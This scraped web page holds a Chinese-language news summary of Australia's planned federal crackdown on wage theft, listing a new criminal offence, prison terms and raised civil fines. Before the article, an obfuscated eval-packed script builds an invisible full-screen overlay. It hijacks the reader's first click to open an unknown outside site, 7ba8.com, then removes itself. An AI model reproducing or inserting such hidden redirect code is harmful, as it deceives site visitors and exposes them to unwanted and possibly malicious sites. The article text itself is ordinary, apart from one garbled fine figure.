<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>联邦政府打击工资盗窃的行动
刑事犯罪:
*联邦政府将对最骇人听闻的盗窃工资的例子提出一项新的刑事犯罪。
*它将适用于故意低付一名或多名工人工资的澳洲境内雇主。
*新罪行最高刑罚为监禁四年,个人最高可被罚款110万澳元,公司最高可被罚款550澳万元。
*因盗窃工资而被定罪的人士,将被取消运营公司5年的资格。
*刑事罪行不适用于一次少付工资、疏忽或误算。
民事犯罪
*对于大部分少付款项,个人和公司,包括小企业,最高罚款额将分别提高50%,个人罚款将提高至近20,000澳元公司罚款将提高至99,900澳元。
*中型企业将面临的罚款是少付工资的两倍或99,900澳元的罚款,两者以较高者为准。
*大型企业将面临的罚款是少付工资的三倍或666,600澳元的罚款,以较高者为准。
*小企业将不受“获得利益”原则的约束,这一原则也不适用于个人。
*违反通知书、罚款及最高罚则,如违反公平工作申诉专员通知书,则会再增加百分之五十。 |